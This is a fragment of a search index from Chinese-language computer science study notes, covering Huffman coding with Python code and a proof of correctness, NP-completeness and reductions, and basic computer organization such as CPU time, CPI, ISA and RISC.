<p>\u4e00\u65e6\u54c8\u592b\u66fc\u6811\u6784\u5efa\u5b8c\u6210\uff0c\u5c31\u53ef\u4ee5\u4e3a\u6bcf\u4e2a\u5b57\u7b26\u5206\u914d\u7f16\u7801\u3002\u901a\u8fc7\u4ece\u6811\u7684\u6839\u8282\u70b9\u51fa\u53d1\uff0c\u6cbf\u7740\u6bcf\u4e00\u6761\u8def\u5f84\u5230\u8fbe\u53f6\u5b50\u8282\u70b9\u6765\u786e\u5b9a\u7f16\u7801\u3002\u901a\u5e38\uff0c\u6cbf\u5de6\u8fb9\u7684\u8fb9\u5206\u914d\"0\"\uff0c\u6cbf\u53f3\u8fb9\u7684\u8fb9\u5206\u914d\"1\"\u3002</p> <ul> <li>\u53f6\u5b50\u8282\u70b9\u6240\u5bf9\u5e94\u7684\u7f16\u7801\u5373\u4e3a\u54c8\u592b\u66fc\u7f16\u7801\u3002</li> </ul> \u4ee3\u7801\u5b9e\u73b0 <pre><code>import heapq\n\nclass Node:\n def __init__(self, char, freq):\n     self.char = char  # \u5b57\u7b26\n     self.freq = freq  # \u9891\u7387\n     self.left = None   # \u5de6\u5b50\u6811\n     self.right = None  # \u53f3\u5b50\u6811\n\n def __lt__(self, other):\n     return self.freq &lt; other.freq\n\ndef build_huffman_tree(freqs):\n # \u521b\u5efa\u4f18\u5148\u961f\u5217\uff08\u6700\u5c0f\u5806\uff09\uff0c\u6bcf\u4e2a\u5143\u7d20\u662f\u4e00\u4e2aNode\u5bf9\u8c61\n heap = [Node(char, freq) for char, freq in freqs.items()]\n heapq.heapify(heap)\n\n while len(heap) &gt; 1:\n     # \u53d6\u51fa\u4e24\u4e2a\u9891\u7387\u6700\u5c0f\u7684\u8282\u70b9\n     left = heapq.heappop(heap)\n     right = heapq.heappop(heap)\n\n     # \u521b\u5efa\u4e00\u4e2a\u65b0\u7684\u7236\u8282\u70b9\n     merged = Node(None, left.freq + right.freq)\n     merged.left = left\n     merged.right = right\n\n     # \u5c06\u65b0\u7684\u8282\u70b9\u63d2\u56de\u5806\u4e2d\n     heapq.heappush(heap, merged)\n\n # \u8fd4\u56de\u6700\u7ec8\u7684\u54c8\u592b\u66fc\u6811\u7684\u6839\u8282\u70b9\n return heap[0]\n\ndef generate_huffman_codes(node, prefix=\"\", codebook={}):\n if node is not None:\n     if node.char is not None:\n         # \u53f6\u5b50\u8282\u70b9\uff0c\u5b58\u50a8\u7f16\u7801\n         codebook[node.char] = prefix\n     else:\n         # \u9012\u5f52\u904d\u5386\u5de6\u53f3\u5b50\u6811\n         generate_huffman_codes(node.left, prefix + \"0\", codebook)\n         generate_huffman_codes(node.right, prefix + \"1\", codebook)\n return codebook\n</code></pre> <p>\u4f2a\u4ee3\u7801 <pre><code>void Huffman ( PriorityQueue  heap[ ],  int  C )\n{   consider the C characters as C single node binary trees,\n     and initialize them into a min heap;\n     for ( i = 1; i &lt; C; i++ ) { \n        create a new node;\n        /* be greedy here */\n        delete root from min heap and attach it to left_child of node;\n        delete root from min heap and attach it to right_child of node;\n        weight of node = sum of weights of its children;\n        /* weight of a tree = sum of the frequencies of its leaves */\n        insert node into min heap;\n   }\n}\n</code></pre></p>"},{"location":"NOTE/ADS/wk8/#huffman_1","title":"Huffman\u7f16\u7801\u6b63\u786e\u6027","text":""},{"location":"NOTE/ADS/wk8/#_5","title":"\u8d2a\u5fc3\u9009\u62e9\u6027\u8d28","text":"<p>\\(C\\) \u4e3a\u4e00\u4e2a\u5b57\u6bcd\u8868\uff0c\u5176\u4e2d\u6bcf\u4e2a\u5b57\u7b26 \\(c \\in C\\) \u90fd\u6709\u4e00\u4e2a\u9891\u7387 \\(c.freq\\).\u4ee4 \\(x\\) \u548c \\(y\\) \u662f \\(C\\) \u4e2d\u9891\u7387\u6700\u4f4e\u7684\u4e24\u4e2a\u5b57\u7b26\u3002\u90a3\u4e48\u5b58\u5728 \\(C\\) \u7684\u4e00\u4e2a\u6700\u4f18\u524d\u7f00\u7801\uff0c\\(x\\) \u548c \\(y\\) \u7684\u7801\u5b57\u957f\u5ea6\u76f8\u540c\uff0c\u4e14\u53ea\u6709\u6700\u540e\u4e00\u4e2a\u4e8c\u8fdb\u5236\u4f4d\u4e0d\u540c(\u5373\u5728\u7f16\u7801\u4e8c\u53c9\u6811\u4e2d\uff0c\u5b83\u4eec\u662f\u5144\u5f1f\u8282\u70b9)\u3002</p> <p>\u6211\u4eec\u4e5f\u53ef\u4ee5\u7528\u4ea4\u6362\u6cd5\uff0c\u5982\u4e0a\u56fe\uff0c\u53ef\u4ee5\u8bc1\u660e\u4ea4\u6362\u540e\u7684\u6811\u6240\u7528\u7684\u7f16\u7801\u957f\u5ea6\u4e0d\u4f1a\u53d8\u5927\uff0c\u5982\u679c\u539f\u6765\u7684\u662f\u6700\u4f18\u89e3\uff0c\u90a3\u4e48\u4ea4\u6362\u540e\u7684\u4e5f\u662f\u6700\u4f18\u89e3\u3002</p>"},{"location":"NOTE/ADS/wk8/#_6","title":"\u6700\u4f18\u5b50\u7ed3\u6784","text":"<p>\\(C\\) \u4e3a\u4e00\u4e2a\u5b57\u6bcd\u8868\uff0c\u5176\u4e2d\u6bcf\u4e2a\u5b57\u7b26 \\(c \\in C\\) \u90fd\u6709\u4e00\u4e2a\u9891\u7387 \\(c.freq\\)\u3002\u4ee4 \\(x\\) \u548c \\(y\\)\u662f \\(C\\) \u4e2d\u9891\u7387\u6700\u4f4e\u7684\u4e24\u4e2a\u5b57\u7b26\u3002\u4ee4 \\(C\u2032\\) \u4e3a \\(C\\) \u53bb\u6389\u5b57\u7b26 \\(x\\) \u548c \\(y\\)\uff0c\u52a0\u5165\u4e00\u4e2a\u65b0\u5b57\u7b26 \\(z\\) \u540e\u7684\u5b57\u6bcd\u8868\u3002\u6211\u4eec\u7ed9 \\(C\u2032\\) \u4e5f\u5b9a\u4e49\u9891\u7387\u96c6\u5408\uff0c\u4e0d\u540c\u4e4b\u5904\u53ea\u662f \\(z.freq = x.freq + y.freq\\)\u3002\u4ee4 \\(T\u2032\\) \u4e3a \\(C\u2032\\) \u7684\u4efb\u610f\u4e00\u4e2a\u6700\u4f18\u524d\u7f00\u7801\u6811\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u5c06 \\(T\u2032\\) \u4e2d\u53f6\u7ed3\u70b9 \\(z\\) \u66ff\u6362\u4e3a\u4e00\u4e2a\u4ee5 \\(x\\) \u548c \\(y\\) \u4e3a\u5b69\u5b50\u7684\u5185\u90e8\u7ed3\u70b9\u5f97\u5230\u4e00\u4e2a \\(C\\) \u7684\u4e00\u4e2a\u6700\u4f18\u524d\u7f00\u7801\u6811 \\(T\\)\u3002</p> <p>Note</p> <p>\u5982\u679c\u4e0a\u9762\u8fd9\u4e00\u547d\u9898\u6b63\u786e\uff0c\u90a3\u4e48\u6211\u4eec\u6bcf\u6b21\u5408\u5e76 \\(x\\) \u548c \\(y\\) \u5f97\u5230 \\(z\\) \u4e4b\u540e\uff0c\u6309\u7167\u6ca1\u6709 \\(x\\) \u548c \\(y\\)\uff0c\u53ea\u6709 \\(z\\) \u7684\u5b50\u95ee\u9898\u7ee7\u7eed\u63a8\u8fdb\u6211\u4eec\u7684\u8d2a\u5fc3\u7b97\u6cd5\u53ef\u4ee5\u5f97\u5230 \\(T\u2032\\) \u8fd9\u4e00\u5b50\u95ee\u9898\u7684\u6700\u4f18\u89e3\uff0c\u5b83\u548c\u5408\u5e76 \\(x\\) \u548c \\(y\\) \u5f97\u5230 \\(z\\) \u8fd9\u4e00\u524d\u9762\u5df2\u7ecf\u9a8c\u8bc1\u6b63\u786e\u6027\u7684\u8d2a\u5fc3\u9009\u62e9\u4e00\u8d77\uff0c\u5c31\u6784\u6210\u4e86\u6574\u4f53\u7684\u6700\u4f18\u89e3\u3002</p> <p>\u4f7f\u7528\u53cd\u8bc1\u6cd5\u8bc1\u660e</p> <p>\u9996\u5148\u6211\u4eec\u6709</p> \\[     B(T) = B(T') + x.freq + y.freq \\] <p>\u56e0\u4e3a\\(T'\\)\u76f8\u5f53\u4e8e\u628a\\(T\\)\u4e2d\\(x,y\\)\u4e0a\u79fb\u4e00\u5c42\uff0c\u5047\u8bbe\\(T\\)\u4e0d\u662f\u6700\u4f18\u89e3\uff0c\u90a3\u4e48\u5b58\u5728\u4e00\u4e2a\u66f4\u4f18\u89e3\\(T''\\)\uff0c\u4f7f\u5f97</p> \\[     B(T'') &lt; B(T) \\] <p>\u5373</p> \\[     B(T'') &lt; B(T') + x.freq + y.freq \\] <p>\u5219\u6709</p> \\[   B(T''') = B(T'')- x.freq - y.freq &lt; B(T') \\] <p>\u5176\u4e2d\\(T'''\\)\u662f\\(T''\\)\u4e2d\\(x,y\\)\u5408\u5e76\u6210\\(z\\)\u5f97\u5230\u7684\u6811\uff0c\u8fd9\u4e0e\\(T'\\)\u662f\u6700\u4f18\u89e3\u77db\u76fe\uff0c\u6240\u4ee5\\(T\\)\u662f\u6700\u4f18\u89e3\uff0c\u8bc1\u6bd5\u3002</p>"},{"location":"NOTE/ADS/wk9/","title":"NP\u5b8c\u5168\u6027","text":"<p> \u7ea6 1229 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 4 \u5206\u949f</p>"},{"location":"NOTE/ADS/wk9/#_1","title":"\u57fa\u672c\u6982\u5ff5","text":"<p>Definition</p> P\u95ee\u9898NP\u95ee\u9898NP-hard\u95ee\u9898NP\u5b8c\u5168\u95ee\u9898 <p>\u7531\u591a\u9879\u5f0f\u65f6\u95f4\u7b97\u6cd5\u89e3\u51b3\u7684\u95ee\u9898\u96c6\u5408\u3002</p> <p>\u5176\u4e2d\u591a\u9879\u5f0f\u65f6\u95f4\u7b97\u6cd5\u6307\u7684\u662f\u7b97\u6cd5\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u4e0e\u8f93\u5165\u7684\u957f\u5ea6\u4e4b\u95f4\u662f\u591a\u9879\u5f0f\u5173\u7cfb</p> <p>NP(Non-deterministic Polynomial time)\u95ee\u9898\u662f\u6307\u53ef\u4ee5\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u9a8c\u8bc1\u4e00\u4e2a\u89e3\u7684\u95ee\u9898\u96c6\u5408\u3002\u4f46\u662f\u5e76\u4e0d\u786e\u5b9a\u80fd\u4e0d\u80fd\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u627e\u5230\u4e00\u4e2a\u89e3\u3002</p> \u591a\u9879\u5f0f\u65f6\u95f4\u9a8c\u8bc1 <p>we say \\(B\\) is an efficient verifier for problem \\(X\\) if </p> <ul> <li> <p>\\(B\\) runs in polynomial time,taking two arguments: an instance \\(x\\) and a certificate \\(y\\).</p> </li> <li> <p>there exists a polynomial \\(p\\) such that for every \\(x\\) in \\(X\\), there is a certificate \\(y\\) of length at most \\(p(|x|)\\) such that \\(B\\) accepts \\((x,y)\\)</p> </li> </ul> <p>NP-hard\u95ee\u9898\u662f\u6307\u6240\u6709\u7684NP\u95ee\u9898\u90fd\u80fd\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u7ea6\u5316\u4e3a\u8be5\u95ee\u9898\u3002NP-hard\u95ee\u9898\u4e0d\u4e00\u5b9a\u662fNP\u95ee\u9898,\u5b83\u662f\u6bd4NP\u95ee\u9898\u66f4\u96be\u7684\u95ee\u9898\u3002</p> <p>NPC(NP-Complete)\u95ee\u9898\u662f\u6307\u65e2\u662fNP\u95ee\u9898\uff0c\u53c8\u662fNP\u95ee\u9898\u4e2d\u6700\u96be\u7684\u95ee\u9898(NP-hard)\u3002\u5982\u679c\u80fd\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u89e3\u51b3\u4e00\u4e2aNPC\u95ee\u9898\uff0c\u90a3\u4e48\u6240\u6709\u7684NP\u95ee\u9898\u90fd\u80fd\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u89e3\u51b3\u3002\u4e5f\u5c31\u662f\u8bf4</p> \\[     P=NP \\Rightarrow P=NP=NPC \\] <p>\u56db\u8005\u5173\u7cfb</p> <ul> <li>P\u95ee\u9898\u80fd\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u89e3\u51b3\uff0c\u81ea\u7136\u4e5f\u80fd\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u9a8c\u8bc1\uff0c\u6240\u4ee5P\u95ee\u9898\u662fNP\u95ee\u9898\u7684\u5b50\u96c6\u3002\\(P \\subseteq NP\\)</li> <li>NPC\u95ee\u9898\u662fNP\u95ee\u9898\u7684\u5b50\u96c6\uff0c\\(NPC \\subseteq NP\\)</li> <li>NPC\u95ee\u9898\u4e5f\u662fNP-hard\u95ee\u9898\u7684\u5b50\u96c6\uff0c\\(NPC \\subseteq NP-hard\\)\uff0c\\(NPC=NP \\cap NP-hard\\)</li> <li>NP-hard\u95ee\u9898\u4e0d\u4e00\u5b9a\u662fNP\u95ee\u9898\uff0c\\(NP-hard \\nsubseteq NP\\)</li> <li>\u5982\u679cNPC\u95ee\u9898\u80fd\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u89e3\u51b3\uff0c\u90a3\u4e48\u6240\u6709\u7684NP\u95ee\u9898\u90fd\u80fd\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u89e3\u51b3\uff0c\\(P=NP \\Rightarrow P=NP=NPC\\)</li> </ul>"},{"location":"NOTE/ADS/wk9/#_2","title":"\u5e38\u89c1\u7684\u591a\u9879\u5f0f\u65f6\u95f4\u95ee\u9898","text":"<ul> <li>\u6700\u77ed\u8def\u5f84\u95ee\u9898\uff1a\uff1a\u7ed9\u5b9a\u4e00\u4e2a\u6709\u5411\u56fe\\(G = (V, E)\\)\u5373\u4f7f\u662f\u5e26\u8d1f\u6743\u7684\uff0c\u6211\u4eec\u53ef\u4ee5\u5728 \\(O(|V||E|)\\) \u7684\u65f6\u95f4\u5185\u627e\u5230\u4ece\u5355\u4e00\u6e90\u9876\u70b9\u5f00\u59cb\u7684\u6700\u77ed\u8def\u5f84\uff1b\u8fd9\u662f\u591a\u9879\u5f0f\u65f6\u95f4\u7684\uff0c\u56e0\u4e3a\u56fe\u4e2d\u6211\u4eec\u7684\u8f93\u5165\u89c4\u6a21\u53ef\u4ee5\u89c6\u4e3a \\(|V|+|E|\\)</li> <li>\u6b27\u62c9\u56de\u8def\u95ee\u9898\uff1a\u662f\u5426\u5b58\u5728\u4e00\u6761\u8def\u5f84\uff0c\u7ecf\u8fc7\u56fe\u4e2d\u6bcf\u6761\u8fb9\u6070\u597d\u4e00\u6b21\uff0c\u4e14\u6700\u7ec8\u56de\u5230\u8d77\u70b9\u3002\u8fd9\u4e2a\u95ee\u9898\u53ef\u4ee5\u5728 \\(O(|E|)\\) \u7684\u65f6\u95f4\u5185\u4f7f\u7528\u6df1\u5ea6\u4f18\u5148\u641c\u7d22\u89e3\u51b3\u3002</li> <li>\\(2-SAT\\)\u95ee\u9898\uff1a\u7ed9\u5b9a\u4e00\u4e2a\u5408\u53d6\u8303\u5f0f(\u5982\u679c\u5b83\u662f\u7531 \\(2\\) \u4e2a\u5b50\u53e5\u7684\u5408\u53d6\u6784\u6210\u7684\uff0c\u6bcf\u4e2a\u5b50\u53e5\u662f\u7531\\(2\\)\u4e2a\u53d8\u91cf\u6216\u8005\u5b83\u4eec\u7684\u5426\u5b9a\u6784\u6210\u7684\u6790\u53d6)\uff0c\u4e5f\u53ef\u4ee5\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u627e\u5230\u662f\u5426\u5b58\u5728\u53d8\u91cf\u76840\uff0c1\u8d4b\u503c\uff0c\u4f7f\u5f97\u5408\u53d6\u5f0f\u4e3a\u771f\u3002</li> </ul> <p>0-1\u80cc\u5305\u95ee\u9898</p> <p>0-1\u80cc\u5305\u95ee\u9898\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u662f\u6307\u6570\u7ea7\u522b\u7684\uff0c\u4e0d\u662f\u591a\u9879\u5f0f\u65f6\u95f4\u7684\u3002\u5176\u80cc\u5305\u5bb9\u91cf\u662f\u4f7f\u75282\u8fdb\u5236\u8868\u793a\u7684(\\(\\log C\\)),\u524d\u9762\u8ba8\u8bba\u7684\\(n\\)\u6307\u7684\u662f\\(n\\)\u4e2a2\u8fdb\u5236\u7f16\u7801</p>"},{"location":"NOTE/ADS/wk9/#formal-language","title":"\u5f62\u5f0f\u8bed\u8a00(formal language)","text":"<p>\u4e00\u4e2a\u5f62\u5f0f\u8bed\u8a00\\(L\\)\u662f\u4e00\u4e2a\u5b57\u7b26\u4e32\u7684\u96c6\u5408\uff0c\\(L \\subseteq \\Sigma^*\\)\uff0c\u5176\u4e2d\\(\\Sigma\\)\u662f\u4e00\u4e2a\u6709\u9650\u7684\u5b57\u6bcd\u8868,\u5176\u4e0a\u7684\u5b57\u7b26\u4e32(string)\u662f\u5b57\u6bcd\u8868\u4e0a\u7684\u5b57\u7b26\u7684\u6709\u9650\u5e8f\u5217,\u6240\u6709\u8fd9\u6837\u7684\u5b57\u7b26\u4e32\u6784\u6210\u4e86\\(\\Sigma^*\\)\u3002</p> <ul> <li>\u81f3\u591a\u53ef\u6570\u7684\u96c6\u5408\u4e0a\u7684\u6709\u9650\u5b57\u7b26\u4e32\u662f\u53ef\u6570\u7684</li> <li>\u8bed\u8a00\u53ef\u4ee5\u505a\u8854\u63a5\u3001\u5e76\u3001\u4ea4\u3001\u8865\u3001Kleene \u95ed\u5305(\u7531\u96c6\u5408\u4e2d\u7684\u7b26\u53f7\u751f\u6210\u7684\u6240\u6709\u53ef\u80fd\u7684\u6709\u9650\u957f\u5ea6\u7684\u5b57\u7b26\u4e32\u6240\u6784\u6210\u7684\u96c6\u5408)\u7b49\u8fd0\u7b97</li> </ul> <p>Definition</p> \u5224\u5b9a\u95ee\u9898\u641c\u7d22\u95ee\u9898\u8f6c\u6362\u95ee\u9898 <p>\u7ed9\u5b9a\u8bed\u8a00\\(L\\),\u8f93\u5165\u67d0\u4e00\u4e2a\u5b57\u7b26\u4e32\\(w\\)\uff0c\u5224\u5b9a\u95ee\u9898\u662f\u6307\u5224\u65ad\\(w\\)\u662f\u5426\u5c5e\u4e8e\\(L\\)\u3002\u5982\u679c\\(w \\in L\\)\uff0c\u5219\u8f93\u51faYES\uff0c\u5426\u5219\u8f93\u51faNO\u3002(decision problem)</p> <p>\\(A\\) solves problem \\(L\\) (\\(A\\) decides language \\(L\\)) if for every \\(w \\in \\Sigma^*\\)</p> <p>\\(A\\) accepts \\(w\\) if and only if  \\(w \\in L\\)</p> <p>\u7ed9\u5b9a\u8bed\u8a00\\(L\\),\u641c\u7d22\u95ee\u9898\u662f\u6307\u627e\u5230\u4e00\u4e2a\\(w\\)\uff0c\u4f7f\u5f97\\(w \\in L\\)\u3002</p> <p>\u7ed9\u5b9a\u8bed\u8a00\\(L_1\\)\u548c\\(L_2\\)\uff0c\u8ba1\u7b97\u67d0\u4e2a\u4ece\\(L_1\\)\u5230\\(L_2\\)\u7684\u51fd\u6570\\(f\\)\u3002</p>"},{"location":"NOTE/ADS/wk9/#karp","title":"Karp\u5f52\u7ea6","text":"<p>\u79f0\u4e00\u4e2a\u8bed\u8a00\\(L_1\\)\u53ef\u4ee5\u591a\u9879\u5f0f\u5f52\u7ea6( \\(Karp\\) \u5f52\u7ea6)\u5230\u53e6\u4e00\u4e2a\u8bed\u8a00\\(L_2\\)\uff0c\u5982\u679c\u5b58\u5728\u4e00\u4e2a\u591a\u9879\u5f0f\u65f6\u95f4\u7684\u8ba1\u7b97\u51fd\u6570\\(f\\)\uff0c\u4f7f\u5f97</p> \\[     w \\in L_1 \\Leftrightarrow f(w) \\in L_2 \\] <p>\u8bb0\u4f5c\\(L_1 \\leqslant_p L_2\\)\u3002\u6b64\u65f6\u8bf4\u660e \\(L_2\\) \u81f3\u5c11\u548c \\(L_1\\) \u4e00\u6837\u96be\u3002</p> <p>\u90a3\u4e48\u5bf9\u4e8e\\(NP\\)\u548c\\(P\\)\u7684\u5173\u7cfb\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\u5982\u4e0b\u7ed3\u8bba\uff1a</p> <p>\u5982\u679c\u6211\u4eec\u627e\u5230\u4e86\u4e00\u4e2a\\(NPC\\)\u95ee\u9898\uff0c\u90a3\u4e48\u6240\u6709\u7684\\(NP\\)\u95ee\u9898\u90fd\u53ef\u4ee5\u5f52\u7ea6\u5230\u8fd9\u4e2a\\(NPC\\)\u95ee\u9898\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u5982\u679c\u6211\u4eec\u80fd\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u89e3\u51b3\u4e00\u4e2a\\(NPC\\)\u95ee\u9898\uff0c\u90a3\u4e48\u6240\u6709\u7684\\(NP\\)\u95ee\u9898\u90fd\u53ef\u4ee5\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u89e3\u51b3\u3002\u6b64\u65f6\u6709</p> \\[     P=NP \\Rightarrow P=NP=NPC \\] <p>\u5982\u679c\u6211\u4eec\u4e0d\u80fd\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u89e3\u51b3\u4e00\u4e2a\\(NPC\\)\u95ee\u9898\uff0c\u90a3\u4e48\u56e0\u4e3a\\(NPC\\)\u95ee\u9898\u662f\\(NP\\)\u95ee\u9898\u7684\u5b50\u96c6\uff0c\u6240\u4ee5\\(P\\)\u662f\u4e0d\u7b49\u4e8e\\(NP\\)\u7684\u3002</p> <p>\u4f46\u662f\u5f88\u9057\u61be\u7684\u662f\uff0c\u76ee\u524d\u8fd8\u6ca1\u6709\u4eba\u80fd\u591f\u8bc1\u660e\\(P\\)\u662f\u5426\u7b49\u4e8e\\(NP\\)\uff0c\u4e5f\u5c31\u662f\u8bf4\u6211\u4eec\u8fd8\u4e0d\u77e5\u9053\\(NPC\\)\u95ee\u9898\u662f\u5426\u53ef\u4ee5\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u89e3\u51b3\u3002</p>"},{"location":"NOTE/CO/","title":"\u8ba1\u7b97\u673a\u7ec4\u6210\u4e0e\u8bbe\u8ba1","text":"<p> \u7ea6 27 \u4e2a\u5b57 </p> <p>\u5443\u554a\uff0c\u786c\u4ef6</p>"},{"location":"NOTE/CO/#_2","title":"\u76ee\u5f55","text":"<ul> <li>\u7eea\u8bba</li> <li>\u6307\u4ee4\u96c6</li> <li>\u8ba1\u7b97\u673a\u4e2d\u7684\u7b97\u6570</li> </ul>"},{"location":"NOTE/CO/wk1/","title":"\u7eea\u8bba","text":"<p> \u7ea6 741 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 3 \u5206\u949f</p>"},{"location":"NOTE/CO/wk1/#_1","title":"\u8ba1\u7b97\u673a\u7cfb\u7edf\u7ed3\u6784\u7684\u516b\u5927\u4f1f\u5927\u5b9a\u5f8b","text":"<ul> <li> <p>Moore's Law The integrate circuit resource double every 18-24 months.</p> </li> <li> <p>Lower-level details are hidden to higher levels</p> </li> <li> <p>Make the common cases fast</p> </li> <li> <p>Performance via Parallelism</p> </li> <li> <p>Performance via Pipelining</p> </li> <li> <p>Performance via Prediction</p> </li> <li> <p>Hierarchy of memory</p> </li> <li> <p>Dependability via redundancy</p> </li> </ul>"},{"location":"NOTE/CO/wk1/#_2","title":"\u5e38\u89c1\u540d\u8bcd\u548c\u8ba1\u7b97","text":"<p>CPU\u65f6\u949f\u5468\u671f \uff1a\u4e00\u4e2a\u662f\u65f6\u949f\u8109\u51b2\u6240\u9700\u8981\u7684\u65f6\u95f4\uff0c\u4e5f\u53eb\u8282\u62cd\u8109\u51b2\u6216T\u5468\u671f\uff0c\u5b83\u662fCPU\u4e2d\u6700\u5c0f\u7684\u65f6\u95f4\u5355\u4f4d \u4e3b\u9891(CPU\u65f6\u949f\u9891\u7387)\uff1a1\u79d2\u4e2d\u7684\u65f6\u949f\u8109\u51b2\u6570\uff0c\u5373\u65f6\u949f\u5468\u671f\u7684\u5012\u6570</p> <p>CPI\uff1a\u6267\u884c\u4e00\u6761\u6307\u4ee4\u6240\u9700\u8981\u7684\u65f6\u949f\u5468\u671f\u6570 = \u603b\u65f6\u949f\u5468\u671f\u6570/IC\uff0c\u4e00\u822c\u4e0e\u7f16\u8bd1\u5668\u6709\u5173\uff1b</p> <p>IC\uff1a\u603b\u6307\u4ee4\u6570</p> <p>CPU\u6267\u884c\u65f6\u95f4\uff1a\u8fd0\u884c\u4e00\u4e2a\u7a0b\u5e8f\u6240\u82b1\u8d39\u7684\u65f6\u95f4 = CPU\u65f6\u949f\u5468\u671f\u6570/\u4e3b\u9891 = (\u6307\u4ee4\u6761\u6570*CPI)/\u4e3b\u9891</p> \\[ \\begin{align*}  CPU\\ Time &amp;= CPU\\ Clock\\ Cycles \\times Clock\\ Cycle\\ Time \\\\ &amp;=\\dfrac{ CPU\\ Clock\\ Cycles}{Clock\\ Rates} \\end{align*} \\] \\[ \\begin{align*} Clock\\ Cycles &amp;= Instruction\\ Count \\times Cycles\\ per\\ Instruction(CPI)\\\\ CPU\\ Time &amp; = Instruction\\ Count \\times CPI\\times CPI\\ Cycle\\ Time\\\\ &amp; = \\dfrac{Instruction\\ Count \\times CPI}{Clock\\ Rate} \\end{align*} \\] <p>\u5f71\u54cdCPU time \u7684\u56e0\u7d20\u6709\u5f88\u591a</p> \\[CPU\\ Time = \\dfrac{Instructions}{Program}\\times \\dfrac{Clock\\ Cycles}{Instruction}\\times \\dfrac{Seconds}{Clock Cycle}\\] <p>\u503c\u5f97\u6ce8\u610f\u7684\u662f\uff0c\u82e5\u7ed9\u51fa\u6d4b\u8bd5\u7a0b\u5e8f\u5305\u542b\u591a\u6761\u6307\u4ee4\uff0c\u5219CPI\u5c31\u662f\u8fd9\u51e0\u6761\u6307\u4ee4\u7684\u6570\u5b66\u671f\u671b</p> <p>Example</p> \u6307\u4ee4\u7c7b\u578b \u6240\u5360\u6bd4\u4f8b CPI A 50% 2 B 20% 3 C 10% 4 D 20% 5 \\[ CPI = 2  \\times 0.5 + 3 \\times 0.2 + 4 \\times 0.1 + 5 \\times 0.2 = 3 \\] <p>MIPS\uff1a\u6bcf\u79d2\u6267\u884c\u591a\u5c11\u767e\u4e07\u6761\u6307\u4ee4 = \u6307\u4ee4\u6761\u6570/(\u6267\u884c\u65f6\u95f4x106) = \u4e3b\u9891/CPI</p> <p>ISA:\u6307\u4ee4\u96c6\u5408\u67b6\u6784(Instruction Set Architecture)</p> <p>\u5b9a\u4e49\u4e86\u8ba1\u7b97\u673a\u786c\u4ef6\u4e0e\u8f6f\u4ef6\u4e4b\u95f4\u7684\u63a5\u53e3\u3002\u5b83\u5177\u4f53\u5305\u62ec\uff1a</p> <ul> <li>\u652f\u6301\u7684\u6307\u4ee4\u7c7b\u578b\uff08\u6570\u636e\u5904\u7406\u3001\u63a7\u5236\u3001\u8f93\u5165/\u8f93\u51fa\u7b49\uff09</li> <li>\u6570\u636e\u7c7b\u578b\uff08\u6574\u6570\u3001\u6d6e\u70b9\u6570\u3001\u5b57\u7b26\u7b49\uff09</li> <li>\u5bc4\u5b58\u5668\u8bbe\u8ba1\uff08\u5bc4\u5b58\u5668\u6570\u91cf\u548c\u7c7b\u578b\uff09</li> <li>\u5730\u5740\u6a21\u5f0f\uff08\u5982\u4f55\u8ba1\u7b97\u6307\u4ee4\u64cd\u4f5c\u6570\u7684\u5730\u5740\uff09</li> </ul> <p>RISC</p> <p>RISC\uff08Reduced Instruction Set Computing\uff09\u662f\u4e00\u79cd\u6307\u4ee4\u96c6\u8bbe\u8ba1\u7406\u5ff5</p> <ul> <li>\u6307\u4ee4\u6570\u91cf\u8f83\u5c11\uff0c\u4e14\u6240\u6709\u6307\u4ee4\u90fd\u5728\u5355\u4e2a\u65f6\u949f\u5468\u671f\u5185\u6267\u884c\u3002</li> <li>\u6bcf\u6761\u6307\u4ee4\u957f\u5ea6\u76f8\u540c\uff0c\u901a\u5e38\u4e3a\u56fa\u5b9a\u5927\u5c0f\u3002</li> <li>\u4f7f\u7528\u5927\u91cf\u7684\u5bc4\u5b58\u5668\u4ee5\u51cf\u5c11\u5185\u5b58\u8bbf\u95ee\u3002</li> <li>\u7b80\u5316\u7684\u5bfb\u5740\u6a21\u5f0f\uff0c\u63d0\u9ad8\u4e86\u6267\u884c\u6548\u7387\u3002</li> <li>\u786c\u4ef6\u8bbe\u8ba1\u66f4\u7b80\u5355\uff0c\u6613\u4e8e\u6d41\u6c34\u7ebf\u64cd\u4f5c\uff0c\u63d0\u9ad8\u4e86\u6027\u80fd\u3002</li> </ul> <p>MISC</p> <p>MISC\uff08Minimal Instruction Set Computing\uff09\u662f\u4e00\u79cd\u6781\u7b80\u6307\u4ee4\u96c6\u8bbe\u8ba1</p> <ul> <li>\u6307\u4ee4\u96c6\u975e\u5e38\u5c0f\uff0c\u901a\u5e38\u53ea\u6709\u51e0\u6761\u57fa\u672c\u6307\u4ee4\u3002</li> <li>\u6bcf\u6761\u6307\u4ee4\u53ef\u80fd\u9700\u8981\u591a\u4e2a\u5468\u671f\u624d\u80fd\u6267\u884c\u3002</li> <li>\u591a\u6570\u6307\u4ee4\u4f9d\u8d56\u4e8e\u7a0b\u5e8f\u7684\u6240\u6709\u64cd\u4f5c\u901a\u8fc7\u5c11\u91cf\u57fa\u672c\u6307\u4ee4\u7ec4\u5408\u5b8c\u6210\u3002</li> <li>\u786c\u4ef6\u5b9e\u73b0\u7b80\u5355\uff0c\u5c0f\u578b\u8bbe\u5907\u6216\u7279\u5b9a\u5e94\u7528\u4e2d\u5e38\u89c1\u3002</li> </ul> <p>CISC</p> 